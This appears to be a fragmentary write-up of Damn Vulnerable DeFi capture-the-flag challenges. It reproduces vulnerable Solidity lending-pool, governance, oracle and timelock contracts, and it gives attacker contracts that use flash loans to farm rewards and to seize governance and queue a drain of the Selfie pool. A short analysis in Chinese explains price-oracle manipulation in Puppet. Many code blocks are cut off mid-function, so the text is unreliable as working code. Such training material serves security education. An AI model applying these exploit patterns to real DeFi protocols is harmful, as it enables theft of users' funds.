function depositTokens(uint256 amount) external nonReentrant { require(amount > 0, "Must deposit at least one token"); // Transfer token from sender. Sender must have first approved them. damnValuableToken.transferFrom(msg.sender, address(this), amount); poolBalance = poolBalance + amount; }
function flashLoan(uint256 borrowAmount) external nonReentrant { require(borrowAmount > 0, "Must borrow at least one token");
There’s a lending pool offering quite expensive flash loans of Ether, which has 1000 ETH in balance.
You also see that a user has deployed a contract with 10 ETH in balance, capable of interacting with the lending pool and receiving flash loans of ETH.
Drain all ETH funds from the user’s contract. Doing it in a single transaction is a big plus ;
/** * @title FlashLoanReceiver * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) */ contract FlashLoanReceiver { using Address for address payable;
address payable private pool;
constructor(address payable poolAddress) { pool = poolAddress; }
// Function called by the pool during flash loan function receiveEther(uint256 fee) public payable { require(msg.sender == pool, "Sender must be pool");
uint256 amountToBeRepaid = msg.value + fee;
require(address(this).balance >= amountToBeRepaid, "Cannot borrow that much"); _executeActionDuringFlashLoan(); // Return funds to pool pool.sendValue(amountToBeRepaid); }
// Internal function where the funds received are used function _executeActionDuringFlashLoan() internal { }
// Allow deposits of ETH receive () external payable {} }
uint256 private constant FIXED_FEE = 1 ether; // not the cheapest flash loan
function fixedFee() external pure returns (uint256) { return FIXED_FEE; }
function flashLoan(address borrower, uint256 borrowAmount) external nonReentrant {
uint256 balanceBefore = address(this).balance; require(balanceBefore >= borrowAmount, "Not enough ETH in pool");
require(borrower.isContract(), "Borrower must be a deployed contract"); // Transfer ETH and handle control to receiver borrower.functionCallWithValue( abi.encodeWithSignature( "receiveEther(uint256)", FIXED_FEE ), borrowAmount ); require( address(this).balance >= balanceBefore + FIXED_FEE, "Flash loan hasn't been paid back" ); }
// Allow deposits of ETH receive () external payable {} }
More and more lending pools are offering flash loans. In this case, a new pool has launched that is offering flash loans of DVT tokens for free. Currently the pool has 1 million DVT tokens in balance. And you have nothing. But don’t worry, you might be able to take them all from the pool. In a single transaction.
// Minimum duration of each round of rewards in seconds uint256 private constant REWARDS_ROUND_MIN_DURATION = 5 days;
uint256 public lastSnapshotIdForRewards; uint256 public lastRecordedSnapshotTimestamp;
mapping(address => uint256) public lastRewardTimestamps;
// Token deposited into the pool by users DamnValuableToken public immutable liquidityToken;
// Token used for internal accounting and snapshots // Pegged 1:1 with the liquidity token AccountingToken public accToken; // Token in which rewards are issued RewardToken public immutable rewardToken;
// Track number of rounds uint256 public roundNumber;
constructor(address tokenAddress) { // Assuming all three tokens have 18 decimals liquidityToken = DamnValuableToken(tokenAddress); accToken = new AccountingToken(); rewardToken = new RewardToken();
_recordSnapshot(); }
/** * @notice sender must have approved `amountToDeposit` liquidity tokens in advance */ function deposit(uint256 amountToDeposit) external { require(amountToDeposit > 0, "Must deposit tokens"); accToken.mint(msg.sender, amountToDeposit); distributeRewards();
pragma solidity ^0.8.0; interface DamnValuableToken{ function approve(address,uint)external; function transfer(address,uint)external; } interface FlashLoanerPool{ function flashLoan(uint) external; } interface TheRewarderPool{ function deposit(uint) external; function withdraw(uint) external; } interface RewardToken{ function transfer(address,uint)external; function balanceOf(address)external returns(uint); } contract RewarderAttacker {
DamnValuableToken public damnValuableToken; FlashLoanerPool public flashLoanpool; TheRewarderPool public theRewarderPool; RewardToken public rewardToken; address public attacker;
function attack(uint256 amount) public { flashLoanpool.flashLoan(amount); }
// Take a flash loan of DVT, deposit to rewarder pool, call distributeRewards and collect reward, withdraw DVT // send reward token to the attacker, return DVT function receiveFlashLoan(uint256 amount) public { damnValuableToken.approve(address(theRewarderPool), amount); theRewarderPool.deposit(amount); theRewarderPool.withdraw(amount); rewardToken.transfer(attacker, rewardToken.balanceOf(address(this))); damnValuableToken.transfer(msg.sender, amount); } }
0x06Selfie
Request
A new cool lending pool has launched! It’s now offering flash loans of DVT tokens.
Wow, and it even includes a really fancy governance mechanism to control it.
What could go wrong, right ?
You start with no DVT tokens in balance, and the pool has 1.5 million. Your objective: take them all.
function getActionDelay() public view returns (uint256) { return ACTION_DELAY_IN_SECONDS; }
/** * @dev an action can only be executed if: * 1) it's never been executed before and * 2) enough time has passed since it was first proposed */ function _canBeExecuted(uint256 actionId) private view returns (bool) { GovernanceAction memory actionToExecute = actions[actionId]; return ( actionToExecute.executedAt == 0 && (block.timestamp - actionToExecute.proposedAt >= ACTION_DELAY_IN_SECONDS) ); } function _hasEnoughVotes(address account) private view returns (bool) { uint256 balance = governanceToken.getBalanceAtLastSnapshot(account); uint256 halfTotalSupply = governanceToken.getTotalSupplyAtLastSnapshot() / 2; return balance > halfTotalSupply; } }
function attack(uint256 amount) external { pool.flashLoan(amount); }
// Take the max amount of flash loan from the pool, take governance over, queue an action that drains all funds // from the pool, advance 2 days in time, execute action function receiveTokens(address tokenAddress, uint256 amount) external { DamnValuableTokenSnapshot1 governanceToken = DamnValuableTokenSnapshot1(tokenAddress); governanceToken.snapshot(); actionId = governance.queueAction(address(pool), abi.encodeWithSignature("drainAllFunds(address)",attacker), 0); token.transfer(msg.sender, amount); }
receive() external payable {} }
0x08Puppet
Request
There’s a huge lending pool borrowing Damn Valuable Tokens (DVTs), where you first need to deposit twice the borrow amount in ETH as collateral. The pool currently has 100000 DVTs in liquidity.
There’s a DVT market opened in an Uniswap v1 exchange, currently with 10 ETH and 10 DVT in liquidity.
Starting with 25 ETH and 1000 DVTs in balance, you must steal all tokens from the lending pool.
// Allows borrowing `borrowAmount` of tokens by first depositing two times their value in ETH function borrow(uint256 borrowAmount) public payable nonReentrant { uint256 depositRequired = calculateDepositRequired(borrowAmount); require(msg.value >= depositRequired, "Not depositing enough collateral"); if (msg.value > depositRequired) { payable(msg.sender).sendValue(msg.value - depositRequired); }
function calculateDepositRequired(uint256 amount) public view returns (uint256) { return amount * _computeOraclePrice() * 2 / 10 ** 18; }
function _computeOraclePrice() private view returns (uint256) { // calculates the price of the token in wei according to Uniswap pair return uniswapPair.balance * (10 ** 18) / token.balanceOf(uniswapPair); }
/** ... functions to deposit, redeem, repay, calculate interest, and so on ... */
}
Analyse
我们有25 ETH and 1000 DVTs,而如果想通过Puppet中borrow大量的token,我们需要将token的价格压低,因此我们用1000DVT来换出ETH,然后用ETH来borrow(借)token,就可以了
0X09Puppet
Request
The developers of the last lending pool are saying that they’ve learned the lesson. And just released a new version!
Now they’re using a Uniswap v2 exchange as a price oracle, along with the recommended utility libraries. That should be enough.
You start with 20 ETH and 10000 DVT tokens in balance. The new lending pool has a million DVT tokens in balance. You know what to do ;)
/** * @notice Allows borrowing `borrowAmount` of tokens by first depositing three times their value in WETH * Sender must have approved enough WETH in advance. * Calculations assume that WETH and borrowed token have same amount of decimals. */ function borrow(uint256 borrowAmount) external { require(_token.balanceOf(address(this)) >= borrowAmount, "Not enough token balance");
// Calculate how much WETH the user must deposit uint256 depositOfWETHRequired = calculateDepositOfWETHRequired(borrowAmount); // Take the WETH _weth.transferFrom(msg.sender, address(this), depositOfWETHRequired);
This content is shared under the CC BY-NC-SA 4.0 protocol (Non-Commercial)
0x0aFree rider
Request
A new marketplace of Damn Valuable NFTs has been released! There’s been an initial mint of 6 NFTs, which are available for sale in the marketplace. Each one at 15 ETH.
A buyer has shared with you a secret alpha: the marketplace is vulnerable and all tokens can be taken. Yet the buyer doesn’t know how to do it. So it’s offering a payout of 45 ETH for whoever is willing to take the NFTs out and send them their way.
You want to build some rep with this buyer, so you’ve agreed with the plan.
Sadly you only have 0.5 ETH in balance. If only there was a place where you could get free ETH, at least for an instant.
/** * @title ClimberVault * @dev To be deployed behind a proxy following the UUPS pattern. Upgrades are to be triggered by the owner. * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) */ contract ClimberVault is Initializable, OwnableUpgradeable, UUPSUpgradeable {
uint256 public constant WITHDRAWAL_LIMIT = 1 ether; uint256 public constant WAITING_PERIOD = 15 days;
// Allows the owner to send a limited amount of tokens to a recipient every now and then function withdraw(address tokenAddress, address recipient, uint256 amount) external onlyOwner { require(amount <= WITHDRAWAL_LIMIT, "Withdrawing too much"); require(block.timestamp > _lastWithdrawalTimestamp + WAITING_PERIOD, "Try later"); _setLastWithdrawal(block.timestamp);
// Allows trusted sweeper account to retrieve any tokens function sweepFunds(address tokenAddress) external onlySweeper { IERC20 token = IERC20(tokenAddress); require(token.transfer(_sweeper, token.balanceOf(address(this))), "Transfer failed"); }
function getSweeper() external view returns (address) { return _sweeper; }
function _setSweeper(address newSweeper) internal { _sweeper = newSweeper; }
function getLastWithdrawalTimestamp() external view returns (uint256) { return _lastWithdrawalTimestamp; }
function _setLastWithdrawal(uint256 timestamp) internal { _lastWithdrawalTimestamp = timestamp; }
// By marking this internal function with `onlyOwner`, we only allow the owner account to authorize an upgrade function _authorizeUpgrade(address newImplementation) internal onlyOwner override {} }
/** * @title ClimberTimelock * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) */ contract ClimberTimelock is AccessControl { using Address for address;
bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE"); bytes32 public constant PROPOSER_ROLE = keccak256("PROPOSER_ROLE");
// Possible states for an operation in this timelock contract enum OperationState { Unknown, Scheduled, ReadyForExecution, Executed }
// Operation data tracked in this contract struct Operation { uint64 readyAtTimestamp; // timestamp at which the operation will be ready for execution bool known; // whether the operation is registered in the timelock bool executed; // whether the operation has been executed }
// Operations are tracked by their bytes32 identifier mapping(bytes32 => Operation) public operations;
/** Anyone can execute what has been scheduled via `schedule` */ function execute( address[] calldata targets, uint256[] calldata values, bytes[] calldata dataElements, bytes32 salt ) external payable { require(targets.length > 0, "Must provide at least one target"); require(targets.length == values.length); require(targets.length == dataElements.length);
bytes32 id = getOperationId(targets, values, dataElements, salt);
for (uint8 i = 0; i < targets.length; i++) { targets[i].functionCallWithValue(dataElements[i], values[i]); } require(getOperationState(id) == OperationState.ReadyForExecution); operations[id].executed = true; }
function updateDelay(uint64 newDelay) external { require(msg.sender == address(this), "Caller must be timelock itself"); require(newDelay <= 14 days, "Delay must be 14 days or less"); delay = newDelay; }